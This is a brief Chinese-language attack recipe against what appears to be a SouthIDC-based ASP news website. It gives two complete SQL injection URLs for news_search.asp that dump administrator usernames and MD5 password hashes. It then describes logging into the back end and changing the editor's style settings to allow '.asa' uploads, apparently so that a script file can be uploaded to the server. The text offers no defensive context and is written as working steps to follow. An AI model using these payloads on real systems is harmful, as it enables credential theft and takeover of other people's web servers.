1.注入点:news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7

 
也可能是(另外一个版本)news_search.asp?key=7%' union select 0,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9,10 from admin where 1 or '%'='&otype=title&Submit=%CB%D1%CB%F7
 
直接暴管理员帐号密码(md5)
 
2.登陆后台
 
3.利用编辑器上传:
 
访问admin/southidceditor/admin_style.asp
 
修改编辑器样式,增加asa(不要asp).然后直接后台编辑新闻上传